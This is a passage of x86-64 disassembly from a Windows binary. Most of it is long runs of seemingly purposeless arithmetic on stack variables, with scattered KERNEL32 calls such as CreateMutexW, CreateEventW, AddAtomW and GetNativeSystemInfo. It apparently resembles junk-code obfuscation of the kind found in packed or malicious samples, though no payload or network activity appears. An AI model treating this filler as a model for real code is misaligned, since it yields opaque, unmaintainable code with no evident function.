sar eax, cl
mov byte [rsp + 0x15a], al
mov rax, qword [rsp + 0x4508]
mov rcx, qword [rsp + 0x48a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4bf0]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x4738]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, word [rsp + 0x768]
movsx ecx, word [0x14018bf4c]
or eax, ecx
mov word [0x14018ad44], ax
mov rax, qword [rsp + 0x3f20]
movzx eax, word [rax]
mov word [rsp + 0xd98], ax
mov rax, qword [rsp + 0x3bb8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x208c]
shl eax, cl
mov dword [rsp + 0x1f68], eax
movzx eax, byte [rsp + 0x80]
mov rcx, qword [rsp + 0x4ad0]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4810]
mov byte [rcx], al
mov rax, qword [rsp + 0x4830]
mov rax, qword [rax]
mov qword [rsp + 0x52d0], rax
mov rax, qword [rsp + 0x4318]
mov ecx, dword [rsp + 0x1f44]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x20a4], eax
lea rax, [rsp + 0x2ef8]
mov qword [rsp + 0x52d8], rax
mov rax, qword [rsp + 0x4dd8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x50f0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1c5], al
mov rax, qword [rsp + 0x40f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3f18]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4080]
mov word [rcx], ax
movzx eax, word [rsp + 0x3c0]
mov rcx, qword [rsp + 0x4c08]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14018bf18]
mov word [rcx], ax
lea rax, [rsp + 0x50b0]
mov qword [rsp + 0x52e0], rax
movzx eax, word [rsp + 0xd90]
mov rcx, qword [rsp + 0x5128]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x49b8]
mov word [rcx], ax
lea rax, [rsp + 0x624]
mov qword [rsp + 0x52e8], rax
mov rax, qword [rsp + 0x5288]
mov rcx, qword [rsp + 0x4718]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5150]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4a70]
mov rcx, qword [rsp + 0x3d80]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5098], rax
mov eax, dword [rsp + 0x1b28]
mov ecx, dword [0x14018ad34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1e34], eax
movsx eax, byte [rsp + 0x69]
movsx ecx, byte [rsp + 0x1b0]
sar eax, cl
mov rcx, qword [rsp + 0x50a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4a30]
movzx eax, word [rax]
mov word [rsp + 0xd9c], ax
lea rax, [rsp + 0x4730]
mov qword [0x14018c140], rax
mov eax, dword [rsp + 0x1de0]
mov ecx, dword [rsp + 0x1e80]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f20], eax
lea rcx, [rsp + 0x157e8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, byte [rsp + 0x1c3]
mov rcx, qword [rsp + 0x46d0]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4868]
mov byte [rcx], al
lea rax, [rsp + 0xd14]
mov qword [rsp + 0x52f0], rax
movzx eax, word [rsp + 0x544]
movzx ecx, word [rsp + 0x4d4]
shl eax, cl
mov rcx, qword [rsp + 0x4668]
mov word [rcx], ax
lea rax, [rsp + 0x2ef8]
mov qword [rsp + 0x52f8], rax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x1b14]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x50a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5130]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1a2], al
mov rax, qword [rsp + 0x4980]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb58]
add eax, ecx
mov word [rsp + 0xcbc], ax
mov rax, qword [rsp + 0x4f30]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b78]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14018bf58]
mov word [rcx], ax
mov rax, qword [rsp + 0x4120]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5150]
mov qword [rsp + 0x5300], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5300]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x4718]
mov qword [rcx], rax
lea rax, [rsp + 0x2e58]
mov qword [rsp + 0x5308], rax
mov rax, qword [rsp + 0x3f50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x37e8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x49d0]
mov qword [rcx], rax
movzx eax, word [rsp + 0xc58]
mov word [rsp + 0xda0], ax
movsx eax, byte [rsp + 0x1c7]
movsx ecx, byte [0x14018bdc6]
sub eax, ecx
mov rcx, qword [rsp + 0x4e60]
mov byte [rcx], al
mov rax, qword [rsp + 0x4128]
mov rcx, qword [rsp + 0x37b0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4f70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x52c8]
mov ecx, dword [0x14018be78]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1e0c], eax
movzx eax, byte [rsp + 0x1c3]
movzx ecx, byte [rsp + 0x1be]
cdq
idiv ecx
mov rcx, qword [rsp + 0x4678]
mov byte [rcx], al
mov eax, dword [rsp + 0x1c40]
mov dword [rsp + 0x20d4], eax
movzx eax, word [rsp + 0xb58]
mov word [0x14018c148], ax
mov rax, qword [rsp + 0x4d18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4908]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd08], ax
mov rax, qword [rsp + 0x4578]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5018]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4e70]
mov word [rcx], ax
lea rax, [rsp + 0x48b8]
mov qword [rsp + 0x5310], rax
mov eax, dword [rsp + 0x2038]
mov rcx, qword [rsp + 0x4ae8]
mov qword [rsp + 0x5318], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5318]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x1c80], eax
mov rax, qword [rsp + 0x4118]
movzx eax, byte [rax]
mov byte [rsp + 0x1cb], al
mov rcx, qword [rsp + 0x3aa0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x3f88]
mov rcx, qword [rsp + 0x3220]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x48d8]
mov qword [rcx], rax
lea rax, [0x14018be7c]
mov qword [rsp + 0x5320], rax
mov rax, qword [rsp + 0x4d18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd1c]
sar eax, cl
mov word [rsp + 0x3b4], ax
mov rax, qword [rsp + 0x49c0]
mov rcx, qword [rsp + 0x4360]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x14018c128]
mov qword [rcx], rax
movzx eax, word [rsp + 0xbb0]
movzx ecx, word [rsp + 0xd98]
sub eax, ecx
mov word [rsp + 0xbfc], ax
lea rax, [rsp + 0x5050]
mov qword [rsp + 0x5328], rax
mov rax, qword [rsp + 0x5228]
mov rcx, qword [rsp + 0x33f8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x46c8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1c64]
mov rcx, qword [rsp + 0x3fa0]
mov qword [rsp + 0x5330], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5330]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x1e00], eax
movsx eax, byte [rsp + 0x1b7]
movsx ecx, byte [rsp + 0x1c5]
and eax, ecx
mov rcx, qword [rsp + 0x4940]
mov byte [rcx], al
mov rax, qword [rsp + 0x4630]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x80]
and eax, ecx
mov byte [rsp + 0x1c4], al
lea rax, [rsp + 0x2070]
mov qword [rsp + 0x5338], rax
mov rax, qword [rsp + 0x2b88]
mov rcx, qword [rsp + 0x4e00]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4390]
mov qword [rcx], rax
lea rax, [rsp + 0xb48]
mov qword [0x14018c150], rax
lea rax, [rsp + 0xc6c]
mov qword [rsp + 0x5340], rax
mov rax, qword [rsp + 0x4ab8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x43e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc78], ax
mov rax, qword [rsp + 0x3d98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xca4]
shl eax, cl
mov word [rsp + 0x694], ax
lea rax, [rsp + 0x1cb]
mov qword [rsp + 0x5348], rax
mov rax, qword [rsp + 0x4b00]
mov rcx, qword [rsp + 0x48d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4fc8]
mov qword [rcx], rax
lea rax, [rsp + 0x1b28]
mov qword [rsp + 0x5350], rax
mov rax, qword [rsp + 0x4f00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc58]
xor eax, ecx
mov rcx, qword [rsp + 0x4d98]
mov word [rcx], ax
mov rax, qword [rsp + 0x4588]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbdc]
sar eax, cl
mov rcx, qword [rsp + 0x4d18]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cc8]
mov rcx, qword [0x14018ace8]
sub rcx, rax
mov rax, rcx
mov qword [0x14018c108], rax
mov rax, qword [rsp + 0x4c10]
mov rax, qword [rax]
mov qword [rsp + 0x5358], rax
mov rax, qword [rsp + 0x52e0]
mov rcx, qword [rsp + 0x50b0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x52c0], rax
mov rax, qword [0x14018c140]
mov rcx, qword [rsp + 0x4178]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2b98], rax
mov rax, qword [rsp + 0x3db8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcd8]
and eax, ecx
mov word [rsp + 0xc94], ax
lea rcx, str.G_SBQQw_Z0xxh1_F14x5tuV
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xda4], ax
mov rax, qword [rsp + 0x51c8]
movzx eax, byte [rax]
mov byte [rsp + 0x1cc], al
mov rax, qword [rsp + 0x41f0]
mov rcx, qword [rsp + 0x4e30]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1de0], eax
mov rax, qword [rsp + 0x30c8]
movzx ecx, al
mov rax, qword [rsp + 0x3608]
shr rax, cl
mov qword [rsp + 0x2b88], rax
lea rax, [0x14018acd9]
mov qword [rsp + 0x5360], rax
mov rax, qword [rsp + 0x50e0]
mov rcx, qword [rsp + 0x4ae0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14018ad48], eax
movsx eax, word [rsp + 0xd24]
movsx ecx, word [rsp + 0xd74]
and eax, ecx
mov rcx, qword [rsp + 0x3b00]
mov word [rcx], ax
lea rax, [rsp + 0xc6c]
mov qword [rsp + 0x5368], rax
movzx eax, word [rsp + 0xd34]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4a30]
mov word [rcx], ax
mov rax, qword [rsp + 0x4a50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2b98]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ae0]
mov eax, dword [rax]
mov dword [rsp + 0x20d8], eax
mov rax, qword [rsp + 0x4060]
mov rcx, qword [rsp + 0x4dd0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4128]
mov qword [rcx], rax
lea rax, [rsp + 0x15a]
mov qword [rsp + 0x5370], rax
mov rax, qword [rsp + 0x51d8]
movsx eax, word [rax]
mov rcx, qword [0x14018c090]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4528]
mov word [rcx], ax
movzx eax, word [rsp + 0xcd4]
mov rcx, qword [rsp + 0x4b18]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14018bf40]
mov word [rcx], ax
mov rax, qword [rsp + 0x4830]
mov rcx, qword [rsp + 0x4770]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4e50]
mov qword [rcx], rax
movzx eax, word [rsp + 0xcf8]
movzx ecx, word [rsp + 0xd98]
add eax, ecx
mov word [rsp + 0xab8], ax
mov rax, qword [rsp + 0x4d38]
mov ecx, dword [rsp + 0x2070]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2030], eax
lea rax, [rsp + 0x1c8]
mov qword [rsp + 0x5378], rax
mov rax, qword [rsp + 0x3a68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f7c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4260]
mov dword [rcx], eax
lea rax, [rsp + 0x4258]
mov qword [rsp + 0x5380], rax
movsx eax, byte [rsp + 0x1b5]
mov rcx, qword [rsp + 0x43b8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3e88]
mov byte [rcx], al
mov rax, qword [rsp + 0x4640]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4250]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xac4], ax
mov rax, qword [rsp + 0x4470]
movzx eax, word [rax]
mov word [0x14018c158], ax
mov rax, qword [rsp + 0x5308]
mov rax, qword [rax]
mov qword [rsp + 0x5388], rax
mov rax, qword [0x14018c140]
mov rcx, qword [rsp + 0x4eb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
lea rax, [rsp + 0xce8]
mov qword [rsp + 0x5390], rax
mov edx, 0xb5
mov rcx, qword [rsp + 0x48c8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x20b8], eax
movzx eax, word [rsp + 0x8f4]
movzx ecx, word [0x14018bf50]
xor eax, ecx
mov rcx, qword [rsp + 0x4098]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ec8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2e70]
shl rax, cl
mov qword [rsp + 0x3930], rax
lea rax, [rsp + 0x1f7c]
mov qword [rsp + 0x5398], rax
mov rax, qword [rsp + 0x40e8]
movsx eax, byte [rax]
mov rcx, qword [0x14018be98]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4758]
mov byte [rcx], al
mov rax, qword [rsp + 0x3e70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2b68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3510], rax
movsx eax, word [rsp + 0x3f8]
movsx ecx, word [rsp + 0xd3c]
sar eax, cl
mov rcx, qword [0x14018beb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5018]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x43b0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4098]
mov word [rcx], ax
mov rax, qword [rsp + 0x42e0]
movzx eax, byte [rax]
cdq
mov ecx, 0x19
idiv ecx
mov byte [rsp + 0x154], al
lea rcx, [rsp + 0x15818]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x1f68]
mov qword [rsp + 0x53a0], rax
mov rax, qword [rsp + 0x3fd8]
mov rcx, qword [rsp + 0x4d78]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x42d8], rax
lea rax, [rsp + 0x30c8]
mov qword [rsp + 0x53a8], rax
movsx eax, byte [rsp + 0x1bb]
movsx ecx, byte [0x14018acdb]
and eax, ecx
mov byte [rsp + 0x1af], al
mov rax, qword [rsp + 0x52c8]
mov rcx, qword [rsp + 0x41c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5238]
mov dword [rcx], eax
lea rax, [rsp + 0xd84]
mov qword [rsp + 0x53b0], rax
movzx eax, word [rsp + 0x8fc]
mov rcx, qword [0x14018c0a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14018ad4c], ax
mov rax, qword [rsp + 0x4b08]
mov rcx, qword [rsp + 0x5208]
mov qword [rsp + 0x53b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x53b8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x3eb8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x53c0], rax
lea rax, [rsp + 0xd4c]
mov qword [rsp + 0x53c8], rax
mov rax, qword [rsp + 0x4c58]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4d80]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xd40], ax
lea rax, [rsp + 0x34f8]
mov qword [rsp + 0x53d0], rax
mov rax, qword [rsp + 0x3b28]
mov rcx, qword [rsp + 0x4b10]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4b60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4608]
mov rcx, qword [0x14018bde0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2068], eax
lea rax, [rsp + 0x1ab]
mov qword [rsp + 0x53d8], rax
movzx eax, word [rsp + 0x7e0]
movzx ecx, word [rsp + 0xbb0]
shl eax, cl
mov rcx, qword [rsp + 0x4220]
mov word [rcx], ax
mov rax, qword [rsp + 0x3f08]
mov rcx, qword [rsp + 0x37e8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x14018bf68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x41f0]
mov eax, dword [rax]
mov dword [rsp + 0x20dc], eax
mov rax, qword [rsp + 0x40f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4678]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x154], al
mov rax, qword [rsp + 0x4d48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd30]
sar eax, cl
mov rcx, qword [rsp + 0x4be0]
mov word [rcx], ax
lea rax, [rsp + 0xcb0]
mov qword [rsp + 0x53e0], rax
mov rax, qword [rsp + 0x4b00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2d60]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4880]
mov qword [rcx], rax
lea rax, [0x14018ad34]
mov qword [rsp + 0x53e8], rax
movsx eax, byte [rsp + 0x1af]
mov rcx, qword [rsp + 0x5038]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4238]
mov byte [rcx], al
movsx eax, word [rsp + 0xc98]
movsx ecx, word [rsp + 0xd6c]
and eax, ecx
mov word [rsp + 0xcbc], ax
lea rax, [0x14018ad14]
mov qword [0x14018c160], rax
lea rax, [rsp + 0x50b0]
mov qword [rsp + 0x53f0], rax
mov rax, qword [rsp + 0x4cc8]
mov rcx, qword [rsp + 0x2e48]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f70]
mov qword [rcx], rax
lea rax, [rsp + 0x2d90]
mov qword [rsp + 0x53f8], rax
mov rax, qword [rsp + 0x4d48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd2c]
and eax, ecx
mov rcx, qword [rsp + 0x5030]
mov word [rcx], ax
mov rax, qword [rsp + 0x4bc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x30c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2e70], rax
lea rax, [0x14018acdb]
mov qword [rsp + 0x5400], rax
mov eax, dword [rsp + 0x20b0]
movzx ecx, al
mov eax, dword [rsp + 0x1fd8]
shr eax, cl
mov rcx, qword [rsp + 0x44f0]
mov dword [rcx], eax
lea rax, [rsp + 0x1d40]
mov qword [rsp + 0x5408], rax
movzx eax, byte [rsp + 0x1b6]
mov rcx, qword [rsp + 0x43a0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x44e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4148]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4710]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x14018c000], ax
lea rax, [rsp + 0xd8c]
mov qword [rsp + 0x5410], rax
movzx eax, word [rsp + 0xd54]
movzx ecx, word [0x14018c0f0]
shl eax, cl
mov rcx, qword [rsp + 0x48e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x51a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3390]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4cf0]
mov qword [rcx], rax
lea rax, [rsp + 0x4f18]
mov qword [rsp + 0x5418], rax
mov rax, qword [0x14018bfa0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20d8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1c0]
mov byte [rsp + 0x1cd], al
mov rax, qword [rsp + 0x4d98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4618]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd30], ax
movzx eax, word [0x14018bee8]
mov rcx, qword [rsp + 0x4070]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4ea8]
mov word [rcx], ax
mov r9d, 0x1bdd
xor r8d, r8d
lea rdx, [rsp + 0x4660]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x2078], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x206c], eax
lea rcx, [rsp + 0x15818]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x3718]
mov qword [0x14018c168], rax
lea rax, [rsp + 0xab4]
mov qword [rsp + 0x5420], rax
mov rax, qword [0x14018ace0]
mov rcx, qword [rsp + 0x3280]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5230], rax
mov rax, qword [rsp + 0x4958]
mov rcx, qword [rsp + 0x4ee8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2b50], rax
mov rax, qword [rsp + 0x44f0]
mov ecx, dword [rsp + 0x1e0c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x20c4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x5428], rax
mov rax, qword [rsp + 0x4dd0]
mov rcx, qword [rsp + 0x2ef8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4c60], rax
mov rax, qword [rsp + 0x4fe8]
movzx eax, byte [rax]
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0x4e58]
mov ecx, dword [rsp + 0x2064]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5210]
mov dword [rcx], eax
lea rax, [rsp + 0x99]
mov qword [rsp + 0x5430], rax
mov rax, qword [rsp + 0x4d10]
movzx eax, word [rax]
mov word [0x14018c170], ax
mov rcx, qword [rsp + 0x53c0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x20b4], eax
mov rax, qword [rsp + 0x4fc0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3fa8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x53b0]
mov word [rcx], ax
lea rax, [rsp + 0xcc8]
mov qword [rsp + 0x5438], rax
lea rcx, [rsp + 0x15848]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x4018]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x41f8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xbb0], ax
mov rax, qword [rsp + 0x44f8]
mov rcx, qword [rsp + 0x4568]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5080]
mov qword [rcx], rax
lea rax, [rsp + 0x20a0]
mov qword [rsp + 0x5440], rax
movsx eax, byte [rsp + 0x1b0]
movsx ecx, byte [rsp + 0x1af]
xor eax, ecx
mov rcx, qword [rsp + 0x46d8]
mov byte [rcx], al
lea rax, [rsp + 0xcc0]
mov qword [rsp + 0x5448], rax
mov rax, qword [rsp + 0x4788]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x49b8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x9dc], ax
mov rax, qword [rsp + 0x4878]
mov rcx, qword [rsp + 0x52c0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x14018bf68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4108]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x32d0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3428], rax
lea rax, [rsp + 0x2e58]
mov qword [rsp + 0x5450], rax
mov rax, qword [rsp + 0x4550]
mov rcx, qword [rsp + 0x2b68]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3e40]
mov qword [rcx], rax
lea rax, [rsp + 0x3b4]
mov qword [rsp + 0x5458], rax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x165]
cdq
idiv ecx
mov rcx, qword [rsp + 0x4e88]
mov byte [rcx], al
mov rax, qword [rsp + 0x3a40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x40c8]
mov qword [rsp + 0x5460], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5460]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x20dc], eax
lea rax, [rsp + 0x1c3c]
mov qword [rsp + 0x5468], rax
movsx eax, byte [0x14018bdc7]
mov rcx, qword [rsp + 0x5010]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4340]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3930]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x14018bfc8]
mov qword [rcx], rax
lea rax, [rsp + 0x69c]
mov qword [rsp + 0x5470], rax
movsx eax, word [rsp + 0xc7c]
movsx ecx, word [rsp + 0xcc0]
sub eax, ecx
mov word [rsp + 0xce8], ax
mov rax, qword [rsp + 0x50c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa80]
shl eax, cl
mov rcx, qword [rsp + 0x4788]
mov word [rcx], ax
mov rax, qword [rsp + 0x4330]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f28]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x2fc8], rax
movsx eax, byte [rsp + 0x1ad]
mov rcx, qword [rsp + 0x50a0]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x44a0]
mov byte [rcx], al
lea rax, [rsp + 0x2024]
mov qword [rsp + 0x5478], rax
mov rax, qword [rsp + 0x3930]
movzx ecx, al
mov rax, qword [rsp + 0x4c60]
shr rax, cl
mov rcx, qword [rsp + 0x43d0]
mov qword [rcx], rax
lea rax, [rsp + 0xd04]
mov qword [rsp + 0x5480], rax
movzx eax, word [rsp + 0xd80]
movzx ecx, word [rsp + 0x3dc]
add eax, ecx
mov word [0x14018ad50], ax
mov rax, qword [rsp + 0x5020]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4350]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2d90], rax
movzx eax, word [rsp + 0xd90]
movzx ecx, word [rsp + 0xc78]
and eax, ecx
mov word [rsp + 0xcd4], ax
lea rax, [rsp + 0x1b6]
mov qword [rsp + 0x5488], rax
mov rax, qword [rsp + 0x5210]
mov rcx, qword [rsp + 0x3a40]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x41f0]
mov dword [rcx], eax
lea rax, [rsp + 0x3608]
mov qword [rsp + 0x5490], rax
mov rax, qword [rsp + 0x4ae8]
mov ecx, dword [rsp + 0x209c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1b14], eax
mov rax, qword [0x14018bf10]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3fc8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4168]
mov byte [rcx], al
lea rax, [rsp + 0xcc0]
mov qword [rsp + 0x5498], rax
mov rax, qword [rsp + 0x4500]
movzx eax, word [rax]
mov word [0x14018c174], ax
mov rax, qword [rsp + 0x4b28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x33f8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3de8]
mov qword [rsp + 0x54a0], rax
movsx eax, word [rsp + 0xd24]
mov rcx, qword [rsp + 0x4b20]
movsx ecx, word [rcx]
